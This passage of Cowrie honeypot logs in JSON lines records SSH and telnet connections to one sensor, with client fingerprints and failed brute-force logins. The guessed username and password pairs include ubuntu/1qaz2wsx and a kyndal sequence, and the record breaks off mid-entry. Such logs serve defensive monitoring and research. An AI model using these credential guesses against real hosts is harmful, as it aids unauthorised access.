{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:22:14.962686Z","src_ip":"194.59.206.2","session":"f655e7cabe87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:22:15.056641Z","src_ip":"194.59.206.2","session":"f655e7cabe87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":56514,"dst_ip":"10.17.0.5","dst_port":22,"session":"14fb2f1bb01f","protocol":"ssh","message":"New connection: 160.251.185.39:56514 (10.17.0.5:22) [session: 14fb2f1bb01f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:22:45.956315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:22:45.960790Z","src_ip":"160.251.185.39","session":"14fb2f1bb01f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:22:46.142501Z","src_ip":"160.251.185.39","session":"14fb2f1bb01f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"t","message":"login attempt [test/t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:22:46.899972Z","src_ip":"160.251.185.39","session":"14fb2f1bb01f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:22:48.084629Z","src_ip":"160.251.185.39","session":"14fb2f1bb01f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0026683807373,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:22:51.353223Z","src_ip":"180.235.129.180","session":"19623d59c68a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":49750,"dst_ip":"10.17.0.5","dst_port":22,"session":"937682e0d786","protocol":"ssh","message":"New connection: 58.186.20.143:49750 (10.17.0.5:22) [session: 937682e0d786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:23:38.381411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:23:38.386152Z","src_ip":"58.186.20.143","session":"937682e0d786","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:23:38.633015Z","src_ip":"58.186.20.143","session":"937682e0d786","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"apache","message":"login attempt [ubuntu/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:23:39.655874Z","src_ip":"58.186.20.143","session":"937682e0d786","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":37808,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d200bc86edc","protocol":"ssh","message":"New connection: 80.94.92.186:37808 (10.17.0.5:22) [session: 6d200bc86edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:23:39.992288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:23:40.085589Z","src_ip":"80.94.92.186","session":"6d200bc86edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:23:40.231946Z","src_ip":"80.94.92.186","session":"6d200bc86edc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx","message":"login attempt [ubuntu/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:23:40.863127Z","src_ip":"80.94.92.186","session":"6d200bc86edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:23:40.905039Z","src_ip":"58.186.20.143","session":"937682e0d786","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:23:42.162916Z","src_ip":"80.94.92.186","session":"6d200bc86edc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.13.174.45","src_port":45584,"dst_ip":"10.17.0.5","dst_port":22,"session":"220f4030f8cd","protocol":"ssh","message":"New connection: 106.13.174.45:45584 (10.17.0.5:22) [session: 220f4030f8cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:24:06.371355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:24:09.021371Z","src_ip":"106.13.174.45","session":"220f4030f8cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":45998,"dst_ip":"10.17.0.5","dst_port":22,"session":"213d7a44a78a","protocol":"ssh","message":"New connection: 160.251.185.39:45998 (10.17.0.5:22) [session: 213d7a44a78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:24:42.205642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:24:42.210193Z","src_ip":"160.251.185.39","session":"213d7a44a78a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:24:42.391578Z","src_ip":"160.251.185.39","session":"213d7a44a78a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user2","message":"login attempt [user1/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:24:43.147344Z","src_ip":"160.251.185.39","session":"213d7a44a78a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:24:44.332766Z","src_ip":"160.251.185.39","session":"213d7a44a78a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"71.227.24.50","src_port":36037,"dst_ip":"10.17.0.5","dst_port":23,"session":"e91dd68da082","protocol":"telnet","message":"New connection: 71.227.24.50:36037 (10.17.0.5:23) [session: e91dd68da082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:07.223582Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.229.242.166","src_port":46634,"dst_ip":"159.203.135.109","dst_port":23,"session":"2112cbe30313","protocol":"telnet","message":"New connection: 115.229.242.166:46634 (159.203.135.109:23) [session: 2112cbe30313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:09.742717Z"}
{"eventid":"cowrie.session.closed","duration":12.373178243637085,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:22.115764Z","src_ip":"115.229.242.166","session":"2112cbe30313","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":55672,"dst_ip":"10.17.0.5","dst_port":22,"session":"7af41a4ebe19","protocol":"ssh","message":"New connection: 58.186.20.143:55672 (10.17.0.5:22) [session: 7af41a4ebe19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:27.714161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:27.720331Z","src_ip":"58.186.20.143","session":"7af41a4ebe19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:27.977830Z","src_ip":"58.186.20.143","session":"7af41a4ebe19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"welcome","message":"login attempt [testuser/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:28.987624Z","src_ip":"58.186.20.143","session":"7af41a4ebe19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:30.236885Z","src_ip":"58.186.20.143","session":"7af41a4ebe19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.848219394683838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:38.071660Z","src_ip":"71.227.24.50","session":"e91dd68da082","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":5505,"dst_ip":"10.17.0.5","dst_port":22,"session":"92b2a4848964","protocol":"ssh","message":"New connection: 213.209.159.56:5505 (10.17.0.5:22) [session: 92b2a4848964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:44.738078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:44.743166Z","src_ip":"213.209.159.56","session":"92b2a4848964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:44.883994Z","src_ip":"213.209.159.56","session":"92b2a4848964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kyndal","password":"kyndal","message":"login attempt [kyndal/kyndal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:45.283966Z","src_ip":"213.209.159.56","session":"92b2a4848964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kyndal","password":"kyndal1","message":"login attempt [kyndal/kyndal1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:46.369409Z","src_ip":"213.209.159.56","session":"92b2a4848964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kyndal","password":"kyndal123","message":"login attempt [kyndal/kyndal123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:47.455572Z","src_ip":"213.209.159.56","session":"92b2a4848964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kyndal","password":"kyndal1234","message":"login attempt [kyndal/kyndal1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:48.541131Z","src_ip":"213.209.159.56","session":"92b2a4848964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kyndal","password":"kyndal12345","message":"login attempt [kyndal/kyndal12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:49.627311Z","src_ip":"213.209.159.56","session":"92b2a4848964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:25:50.712750Z","src_ip":"213.209.159.56","session":"92b2a4848964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:26:06.377251Z","src_ip":"106.13.174.45","session":"220f4030f8cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.58.252.86","src_port":21444,"dst_ip":"10.17.0.5","dst_port":23,"session":"14c1fcaa26c9","protocol":"telnet","message":"New connection: 172.58.252.86:21444 (10.17.0.5:23) [session: 14c1fcaa26c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:26:30.845441Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":51336,"dst_ip":"10.17.0.5","dst_port":22,"session":"c76b17ca60b8","protocol":"ssh","message":"New connection: 160.251.185.39:51336 (10.17.0.5:22) [session: c76b17ca60b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:26:39.109344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:26:39.113353Z","src_ip":"160.251.185.39","session":"c76b17ca60b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 